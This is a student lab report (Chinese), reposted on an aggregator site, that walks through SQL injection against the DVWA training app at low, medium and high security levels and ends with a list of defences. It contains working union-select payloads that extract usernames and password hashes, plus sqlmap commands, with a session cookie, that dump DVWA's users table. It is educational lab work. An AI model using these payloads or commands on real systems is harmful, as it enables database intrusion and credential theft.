码农知识堂 - 1000bd
  •   Python
  •   PHP
  •   JS/TS
  •   JAVA
  •   C/C++
  •   C#
  •   GO
  •   Kotlin
  •   Swift
  • Web漏洞分析(dvwa、SQL手工注入、sqlmap注入)


    目录

    一、实验目的

    二、实验软硬件要求

    三、实验预习

    四、实验内容(实验步骤、测试数据等)

    五、实验步骤

    (1) 下载并安装配置DVWA

    (2)运行DVWA,创建数据库。

    (3) 登录DVWA

    (4) 按教材操作流程完成SQ注入分析,验证不同安全级别情况下sql注入的风险,并就实现结果提出安全应对建议。

    设置低级防护:根本没有安全措施

    1.判断是否存在注入

    2.猜解SQL查询语句中的字段数及字段顺序

    3.获取当前数据名

    4.获取数据库的表名

    5.获取表中的字段名

    6.获取user及password

    7.尝试破解口令

    设置中等级防护:发人员试图保护应用程序但失败

    1)判断是否存在注入,是字符还是数字

    2)猜测SQL查询语句中的字段数

    3)获取当前数据名

    4)获取数据库的表名

    5)获取表中的字段名

    6)获取user及password

    设置高级防护:对中等难度的扩展,混合了更难或替代性的错误做法来尝试保护代码。该漏洞可能不允许进行相同程度的攻击,类似于各种CTF比赛。

    设置不可能级防护:此级别应针对所有漏洞进行安全保护。它用于将易受攻击的源代码与安全源代码进行比较。

    sqlmap注入

    爆破数据库

    爆破dvwa的表

    爆破dvwa的guestbook的字段

    爆破密码

    前情提要

    原本实验没有要求sqlmap等操作,听说是做到low等级就好,自行辨别。

    一、实验目的

    借助Web漏洞教学和演练的开源工具DVWA,学习并了解Web漏洞(以SQL注入为例)的原理及利用,验证SQL注入漏洞的实现过程及结果,并思考应对web漏洞风险的策略与手段。

    二、实验软硬件要求

    1、操作系统:windows 7/8/10等

    2、开发环境:DVWA

    三、实验预习

    《软件安全技术》教材第4章

    四、实验内容(实验步骤、测试数据等)

    1. 目标:案例4-2。

    2. 实验说明:借助Web漏洞教学和演练的开源工具DVWA,验证SQL注入漏洞的实现过程及结果

    3. 步骤:

    1. 判断是否存在注入
    2. 猜解SQL查询语句中的字段数及字段顺序
    3. 获取当前数据名
    4. 获取数据库的表名
    5. 获取表中的字段名
    6. 获取user及password
    7. 尝试破解口令

    (5)完成实验报告

    4. 要求:提供实验步骤说明及相应截图,完成实验报告。

    五、实验步骤

    (1) 下载并安装配置DVWA

    书上安装XAMPP,但我不打算安装,我用phpstudy进行

    安装phpstudy

    启动Apache

    浏览器输入http://localhost/

    下载DVWA,将DVWA文件夹放在WWW文件夹下

    打开phpstudy,创建域名

    修改配置文件config.inc.php,如果没有就复制一份config.inc.php.dist

    修改password为root(书上为空密码),user改为root

    (2)运行DVWA,创建数据库。

    打开首页http://dvwa(或者直接dvwa),

    拉到最下方,点击create/reset database初始化数据库

    (3) 登录DVWA

    输入admin,password

    (4) 按教材操作流程完成SQ注入分析,验证不同安全级别情况下sql注入的风险,并就实现结果提出安全应对建议。

    设置低级防护:根本没有安全措施

    源代码:

    1.判断是否存在注入

    输入1

    输入1’and’1’=’2

    输入1'or'1'='1

    2.猜解SQL查询语句中的字段数及字段顺序

    输入1’ or 1=1 order by 1 #

    输入1’ or 1=1 union select 1,2,3,4,5,6,7,8#

    判断只有两个字段

    输入1' or 1=1 order by 3#

    核实只有两字段

    输入' union select 1,2#

    3.获取当前数据名

    输入'union select user(),database() #

    4.获取数据库的表名

    输入' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()#

    有时候会出现这个字符集不兼容的问题,DVWA问题

    在sql语句from前添加COLLATE utf8_general_ci即可

    输入1' union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database()#

    5.获取表中的字段名

    输入' union select 1,group_concat(column_name) from information_schema.columns where table_name='users' #

    输入1' union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name='users'#

    6.获取user及password

    输入' union select user,password from users#

    7.尝试破解口令

    口令是32位,数据库常用加密md5,盲猜md5

    5f4dcc3b5aa765d61d8327deb882cf99

    设置中等级防护:发人员试图保护应用程序但失败

    源代码:

    它的用户交互界面变成了选项,阻挡了一些的注入

    在提交id的过程中,发现页面刷新很快,上交的携带参数url无法肉眼捕捉,可以利用bp来搞。

    上号bp

    1)判断是否存在注入,是字符还是数字

    先试试抓包,拦截,换参数,上传一波流能不能成功

    进行尝试注入1' or 1=1 #

    看到回应报文

    更改注入1 or 1=1 #

    回应报文,成功

    2)猜测SQL查询语句中的字段数

    更改参数为1 order by 2#,成功

    更改参数为1 order by 3#,失败

    只有两个字段

    3)获取当前数据名

    更改参数1 union select user(),database() #

    4)获取数据库的表名

    更改参数1 union select 1,group_concat(table_name) COLLATE utf8_general_ci from information_schema.tables where table_schema=database()#

    5)获取表中的字段名

    更改参数1 union select 1,group_concat(column_name) COLLATE utf8_general_ci from information_schema.columns where table_name='users'#

    但这个注入又很奇怪

    6)获取user及password

    更改参数1 union select user,password from users#

    设置高级防护:对中等难度的扩展,混合了更难或替代性的错误做法来尝试保护代码。该漏洞可能不允许进行相同程度的攻击,类似于各种CTF比赛。

    源代码:

    与medium级别代码相比,high级别的只是在SQL查询语句中增加limit 1,希望以此控制只输出一个结果。

    虽然增加limit 1,但是可以通过#将其注释掉。

    手工注入的过程与low级别基本一样,直接最后一部演示下载数据

    输入' union select group_concat(user_id,first_name,last_name),group_concat(password) from user #

    设置不可能级防护:此级别应针对所有漏洞进行安全保护。它用于将易受攻击的源代码与安全源代码进行比较。

    源代码:

    impossible级别的代码采用了PDO技术,划清了代码与数据的界限,能有效防御sql注入,同时查询返回结果数量为1时,才会成功输出,这样有效预防了脱裤。

    sqlmap注入

    此外,我进行了sqlmap注入,这比手工快多了。但要注意命令格式

    sqlmap.py -u "http://192.168.141.136/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=u26qutkcu5ak4p0icnii8rppo1"  -dbms mysql -dbs

    dvwa靶场有外部登入,所以需要加上cookie,cookie在php info里面查找

    爆破数据库

     

    爆破dvwa的表

    sqlmap.py -u "http://192.168.141.136/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=u26qutkcu5ak4p0icnii8rppo1"  -dbms mysql -D dvwa --tables

    爆破dvwa的guestbook的字段

    sqlmap.py -u "http://192.168.141.136/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=u26qutkcu5ak4p0icnii8rppo1"  -D “dvwa”  -T ”users” --columns

    爆破密码

    sqlmap.py -u "http://192.168.141.136/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=u26qutkcu5ak4p0icnii8rppo1" -D "dvwa" -T "users" -C "user,password" --dump

    六、实验体会(遇到的问题及解决方法)

    麻烦,文档不能完整上传,图片要单贴。实验步骤有进行略微跳步,但跳的都是简单操作,如果不懂了话,需要去补充一些相关内容。

    SQL注入防护手段:

    1. 参数类型检测
    2. 参数长度检测
    3. 危险参数过滤
    4.      黑名单过滤
    5.      白名单过滤
    6.      GPC过滤(PHP.in配置中,magic_quotes_qpc=on,可以自动对输入语句转义)
    7. 参数化查询
    8. 服务器对网站的权限最小化
  • 相关阅读:
    Web服务详解
    java-net-php-python-jspm服务器密码管理系统计算机毕业设计程序
    el-data-picker限制日期可选范围
    高校邮件系统盗号问题处置经验
    PCIe系统中Switch介绍
    新建模板,或组件自适应
    多源最短路径算法 -- 弗洛伊德(Floyd)算法
    爽。。。一键导出 MySQL 表结构,告别手动梳理表结构文档了。。。
    2024年阿里云4月服务器有哪些优惠活动?
    全志v853体验可能会遇到的问题
  • 原文地址:https://blog.csdn.net/m0_58138734/article/details/127739487
  • 最新文章
  • 攻防演习之三天拿下官网站群
    数据安全治理学习——前期安全规划和安全管理体系建设
    企业安全 | 企业内一次钓鱼演练准备过程
    内网渗透测试 | Kerberos协议及其部分攻击手法
    0day的产生 | 不懂代码的"代码审计"
    安装scrcpy-client模块av模块异常,环境问题解决方案
    leetcode hot100【LeetCode 279. 完全平方数】java实现
    OpenWrt下安装Mosquitto
    AnatoMask论文汇总
    【AI日记】24.11.01 LangChain、openai api和github copilot
  • 热门文章
  • 十款代码表白小特效 一个比一个浪漫 赶紧收藏起来吧!!!
    奉劝各位学弟学妹们,该打造你的技术影响力了!
    五年了,我在 CSDN 的两个一百万。
    Java俄罗斯方块,老程序员花了一个周末,连接中学年代!
    面试官都震惊,你这网络基础可以啊!
    你真的会用百度吗?我不信 — 那些不为人知的搜索引擎语法
    心情不好的时候,用 Python 画棵樱花树送给自己吧
    通宵一晚做出来的一款类似CS的第一人称射击游戏Demo!原来做游戏也不是很难,连憨憨学妹都学会了!
    13 万字 C 语言从入门到精通保姆级教程2021 年版
    10行代码集2000张美女图,Python爬虫120例,再上征途
Copyright © 2022 侵权请联系2656653265@qq.com    京ICP备2022015340号-1
正则表达式工具 cron表达式工具 密码生成工具

京公网安备 11010502049817号